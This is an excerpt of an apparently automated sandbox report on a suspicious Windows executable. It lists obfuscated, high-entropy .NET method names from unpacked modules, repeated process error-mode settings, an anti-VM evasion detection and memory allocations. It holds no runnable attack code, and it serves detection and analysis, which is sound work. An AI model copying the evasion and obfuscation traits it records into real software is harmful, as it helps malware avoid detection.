Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, nkZ8Q7fo3nyGU5LAd5.cs	High entropy of concatenated method names: 'YF54wUU6OI', 'Amw42a1NQK', 'ENa7BkZIZB', 'DPV7vwYAE9', 'FrP7lCGTxG', 'F4P7YJ10xE', 'i5e7b94YKR', 'Etx7c0vEyd', 'gQq7VFp68G', 'Ar17R4TDwP'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, kvf1IuVxYoZ5QcBZZe.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'XL8UNOwgIP', 'XHaUsStaI4', 'jeYUzhl892', 'mb1qHbmoIT', 'UKLqAVDtim', 'TR1qUoT9Bk', 'h6ZqqOgLPB', 'k1yKSx9IvdJBr9gFPHf'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, UCqtaR63XKApAH92bb.cs	High entropy of concatenated method names: 'nGDDWOeSlm', 'vRsD8ZXtOj', 'ENoDBLEEgS', 'M2LDvoLrmm', 'fnYDFAR04a', 'oFkDlJdTi5', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, svJmV5t0w42ZlET6y8.cs	High entropy of concatenated method names: 'KEKAt1lT6F', 'e8fApOcxgV', 'hHjAXDHIOC', 'd3xAeVkYZR', 'TBsAZg8KuD', 'iHGAIjxvXy', 'S8QqO8fcbwAJpRwCUw', 'LQM8ivg3GqtyqdcSBF', 'mxCAArp0CL', 'TeLAqesYEq'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, y6RaThAKsVSgwbeLa4.cs	High entropy of concatenated method names: 'KM7DLx5bmW', 'GWQDGRKcdl', 'BecD7a2srX', 'JArD4il8Ki', 'U8FDPdlE80', 'HMVDtnTde3', 'rbUDp66WBP', 'UIXDaR2QVq', 'QI6DXCmyrI', 'NYvDef7SW0'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, Sc1JklPb2V7Xqa8ma4n.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BNKTFC8rxA', 'gGlTCLXl62', 'pR1TOhxyfW', 'HoVTu0waf2', 'zN5T6tqQuu', 'FAST9sTPgX', 'SWOTx4ttsJ'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, fJuHmJ0x7LMON7NNbc.cs	High entropy of concatenated method names: 'ToString', 'VejISJKsjL', 'zJNI84iDyA', 'NjkIBYc7N7', 'dFaIvXOO7e', 'Iw0IljldkU', 'VPLIYilLEk', 'vDGIbMmH0x', 'hJDIcZcTMJ', 'vPZIVLiHR2'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, H6nVeouWPrn8PxjkOt.cs	High entropy of concatenated method names: 'i1UPiigsWJ', 'bxsPGPLKmN', 'THXP4PXc4G', 'rkhPtCic1d', 'wDlPpnObLe', 'B2O469vipq', 'gog49DkPK7', 'YFr4xvyQlq', 'jXk4MHkx9h', 'jya4NjD6IN'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, uGMU2PHYPmCtC47oV2.cs	High entropy of concatenated method names: 'GVg5nSl1ED', 'dkE5yXq4oa', 'Ynr5W44Fx6', 'nUp58vGXQe', 'Tln5vawiqB', 'Car5ltECCm', 'MVM5bE93yJ', 'jXN5crQNCa', 'QYs5RmUcKy', 'Unm5S8CnJx'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, p4rJXkYNJEZH3sNfrC.cs	High entropy of concatenated method names: 'eX5gMpkFua', 'fpcgs7RSp5', 'K14DHelrjR', 'kCDDAIgdMa', 'btLgSPpaWs', 'PQTgE3fJis', 'Mn1gQRxJw6', 'fONgFHR9tj', 'xAOgC7rsku', 'a9UgOg2hDV'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, BCyoJXEIOZ4GECBlCi.cs	High entropy of concatenated method names: 'glhKDwUhX', 'yYikfpLvm', 'OEMmjogXT', 'OmS2vrUlf', 'zIayk0y43', 'uKjjrJUeT', 'bdEntMocZ0vCq17bsl', 'uHqB12sXGypo8paoI1', 'CJaD8i08t', 'vxyThfYeK'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, sPVqVka94VBXoB2vT2.cs	High entropy of concatenated method names: 'Ndp7kTLvqU', 'aJx7mMK9J8', 'oBR7nANflA', 'pnB7ylAjts', 'd7d7Z5kcLg', 'cB27IUnGAj', 'GtJ7gLhUha', 'hfg7Dd8aHu', 'sj47h9yfsG', 'bWS7TXdFp2'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, zC5UCdSIWB58FHCwfw.cs	High entropy of concatenated method names: 'oIVGFxwUkH', 'OGiGCZ12Ys', 'EUbGOumJ5U', 'XjEGukc6rh', 'mZRG6X5dQB', 'H9XG9SDwkU', 'S54GxlVh8g', 'gG0GMShe1D', 'DowGNuTk6G', 'iHrGsSUr4C'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, HVjjmekMbjAZlbxgGq.cs	High entropy of concatenated method names: 'UhyqiNXK7r', 'SV1qLa4FtW', 'VZCqGHgIxv', 'CYMq7fhdUG', 'mxRq4hqeaB', 'z53qP3Md4u', 'zhNqtM42nT', 'VRXqpDlqFU', 'bmQqaLikRh', 'ocUqXPIv2i'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, tZuNUMUPuAev4JtZdP.cs	High entropy of concatenated method names: 'Dispose', 'ehlANqn9WF', 'nU2U8iIroF', 'SIkooF9w6Z', 'eHtAsu7YFr', 'kvkAz34Amq', 'ProcessDialogKey', 'WC6UHbhKoN', 'XeHUAsY45B', 'YgVUUJn4e5'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, gulYAEF1lpKXr3abli.cs	High entropy of concatenated method names: 'tllhAZsGPI', 'WNjhqLuQsL', 'Ee1hd9jY9w', 'bnbhLRt6pP', 'pY5hGshFay', 'Dsyh4aNOTe', 'PA3hPqu7Ed', 'cjFDxPYQ5X', 'xhtDMTUNU8', 'LtuDNH582C'
Source: 0.2.UQO06iOMKZMPZ4A.exe.42beec0.10.raw.unpack, CMAx61hH1leVOQ1R5H.cs	High entropy of concatenated method names: 'MMttL6SodZ', 'kjSt7EkjAM', 'egNtPheDq1', 'DGCPsochZR', 'h62PzfHeRy', 'KWstHdrMA5', 'htytA8LGsE', 'lmstU928RI', 'CZgtqedcmJ', 'zPRtd5EB7P'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, qptXq8PWUia3WCyO6SM.cs	High entropy of concatenated method names: 'iZVh14SPsy', 'wKWhrhgwyi', 'e9shKJ7Ft2', 'mPWhkaKfm9', 'UAuhwsJTCd', 'lJXhmyMqAA', 'NAAh2I1ZrX', 'jBHhnPL8r3', 'Dpnhy2jwSt', 'gf1hjlK8v0'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, GPsQBkJQEtPsywAcW2.cs	High entropy of concatenated method names: 'N3Pt1YlieD', 'VDEtreMu0f', 'bBxtK7U18B', 'Jkxtk58Uft', 'xeWtw9nVBg', 'dXatmmtM6D', 'Pift2IPtQo', 'rqDtnS3gh7', 'N8ityFxkcs', 'NVXtjvOX4y'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, nkZ8Q7fo3nyGU5LAd5.cs	High entropy of concatenated method names: 'YF54wUU6OI', 'Amw42a1NQK', 'ENa7BkZIZB', 'DPV7vwYAE9', 'FrP7lCGTxG', 'F4P7YJ10xE', 'i5e7b94YKR', 'Etx7c0vEyd', 'gQq7VFp68G', 'Ar17R4TDwP'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, kvf1IuVxYoZ5QcBZZe.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'XL8UNOwgIP', 'XHaUsStaI4', 'jeYUzhl892', 'mb1qHbmoIT', 'UKLqAVDtim', 'TR1qUoT9Bk', 'h6ZqqOgLPB', 'k1yKSx9IvdJBr9gFPHf'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, UCqtaR63XKApAH92bb.cs	High entropy of concatenated method names: 'nGDDWOeSlm', 'vRsD8ZXtOj', 'ENoDBLEEgS', 'M2LDvoLrmm', 'fnYDFAR04a', 'oFkDlJdTi5', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, svJmV5t0w42ZlET6y8.cs	High entropy of concatenated method names: 'KEKAt1lT6F', 'e8fApOcxgV', 'hHjAXDHIOC', 'd3xAeVkYZR', 'TBsAZg8KuD', 'iHGAIjxvXy', 'S8QqO8fcbwAJpRwCUw', 'LQM8ivg3GqtyqdcSBF', 'mxCAArp0CL', 'TeLAqesYEq'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, y6RaThAKsVSgwbeLa4.cs	High entropy of concatenated method names: 'KM7DLx5bmW', 'GWQDGRKcdl', 'BecD7a2srX', 'JArD4il8Ki', 'U8FDPdlE80', 'HMVDtnTde3', 'rbUDp66WBP', 'UIXDaR2QVq', 'QI6DXCmyrI', 'NYvDef7SW0'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, Sc1JklPb2V7Xqa8ma4n.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BNKTFC8rxA', 'gGlTCLXl62', 'pR1TOhxyfW', 'HoVTu0waf2', 'zN5T6tqQuu', 'FAST9sTPgX', 'SWOTx4ttsJ'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, fJuHmJ0x7LMON7NNbc.cs	High entropy of concatenated method names: 'ToString', 'VejISJKsjL', 'zJNI84iDyA', 'NjkIBYc7N7', 'dFaIvXOO7e', 'Iw0IljldkU', 'VPLIYilLEk', 'vDGIbMmH0x', 'hJDIcZcTMJ', 'vPZIVLiHR2'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, H6nVeouWPrn8PxjkOt.cs	High entropy of concatenated method names: 'i1UPiigsWJ', 'bxsPGPLKmN', 'THXP4PXc4G', 'rkhPtCic1d', 'wDlPpnObLe', 'B2O469vipq', 'gog49DkPK7', 'YFr4xvyQlq', 'jXk4MHkx9h', 'jya4NjD6IN'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, uGMU2PHYPmCtC47oV2.cs	High entropy of concatenated method names: 'GVg5nSl1ED', 'dkE5yXq4oa', 'Ynr5W44Fx6', 'nUp58vGXQe', 'Tln5vawiqB', 'Car5ltECCm', 'MVM5bE93yJ', 'jXN5crQNCa', 'QYs5RmUcKy', 'Unm5S8CnJx'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, p4rJXkYNJEZH3sNfrC.cs	High entropy of concatenated method names: 'eX5gMpkFua', 'fpcgs7RSp5', 'K14DHelrjR', 'kCDDAIgdMa', 'btLgSPpaWs', 'PQTgE3fJis', 'Mn1gQRxJw6', 'fONgFHR9tj', 'xAOgC7rsku', 'a9UgOg2hDV'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, BCyoJXEIOZ4GECBlCi.cs	High entropy of concatenated method names: 'glhKDwUhX', 'yYikfpLvm', 'OEMmjogXT', 'OmS2vrUlf', 'zIayk0y43', 'uKjjrJUeT', 'bdEntMocZ0vCq17bsl', 'uHqB12sXGypo8paoI1', 'CJaD8i08t', 'vxyThfYeK'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, sPVqVka94VBXoB2vT2.cs	High entropy of concatenated method names: 'Ndp7kTLvqU', 'aJx7mMK9J8', 'oBR7nANflA', 'pnB7ylAjts', 'd7d7Z5kcLg', 'cB27IUnGAj', 'GtJ7gLhUha', 'hfg7Dd8aHu', 'sj47h9yfsG', 'bWS7TXdFp2'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, zC5UCdSIWB58FHCwfw.cs	High entropy of concatenated method names: 'oIVGFxwUkH', 'OGiGCZ12Ys', 'EUbGOumJ5U', 'XjEGukc6rh', 'mZRG6X5dQB', 'H9XG9SDwkU', 'S54GxlVh8g', 'gG0GMShe1D', 'DowGNuTk6G', 'iHrGsSUr4C'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, HVjjmekMbjAZlbxgGq.cs	High entropy of concatenated method names: 'UhyqiNXK7r', 'SV1qLa4FtW', 'VZCqGHgIxv', 'CYMq7fhdUG', 'mxRq4hqeaB', 'z53qP3Md4u', 'zhNqtM42nT', 'VRXqpDlqFU', 'bmQqaLikRh', 'ocUqXPIv2i'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, tZuNUMUPuAev4JtZdP.cs	High entropy of concatenated method names: 'Dispose', 'ehlANqn9WF', 'nU2U8iIroF', 'SIkooF9w6Z', 'eHtAsu7YFr', 'kvkAz34Amq', 'ProcessDialogKey', 'WC6UHbhKoN', 'XeHUAsY45B', 'YgVUUJn4e5'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, gulYAEF1lpKXr3abli.cs	High entropy of concatenated method names: 'tllhAZsGPI', 'WNjhqLuQsL', 'Ee1hd9jY9w', 'bnbhLRt6pP', 'pY5hGshFay', 'Dsyh4aNOTe', 'PA3hPqu7Ed', 'cjFDxPYQ5X', 'xhtDMTUNU8', 'LtuDNH582C'
Source: 0.2.UQO06iOMKZMPZ4A.exe.98a0000.11.raw.unpack, CMAx61hH1leVOQ1R5H.cs	High entropy of concatenated method names: 'MMttL6SodZ', 'kjSt7EkjAM', 'egNtPheDq1', 'DGCPsochZR', 'h62PzfHeRy', 'KWstHdrMA5', 'htytA8LGsE', 'lmstU928RI', 'CZgtqedcmJ', 'zPRtd5EB7P'
Source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack, V4uC3Iifq56IKQcfry.cs	High entropy of concatenated method names: 'JcqLcnHE8kRk7VHJhl', 'baAwnpSkPWAs4YMGxr', 'wTgrto4LNQ', 'imnL6GCB6AIFRqkhxN', 'RgtTUJcyZL', 'dHYrbjNADO', 'xiCr8b7Qs6', 'PT2rZj37UR', 'P1WruDgOtu', 'd71eKLY6YVFQv'
Source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack, vpednoN8EZgsJ4TDwx.cs	High entropy of concatenated method names: 'SvRTLtpnA', 'uJwWpedno', 'REZpgsJ4T', 'uwxys3A5Q', 'Tl3iTkB7U', 'EqRFtDP16', 'TW5lfqidm', 'wSKAUGlNW', 'LkrevaXpK', 'cwu0Op5AT'

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: UQO06iOMKZMPZ4A.exe PID: 7616, type: MEMORYSTR

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: 2620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: 2550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: 4C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: 5C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: 5D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: 6D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: AD30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: BD30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: C1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: D1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: E1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: F1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Memory allocated: 101C0000 memory reserve \| memory write watch	Jump to behavior

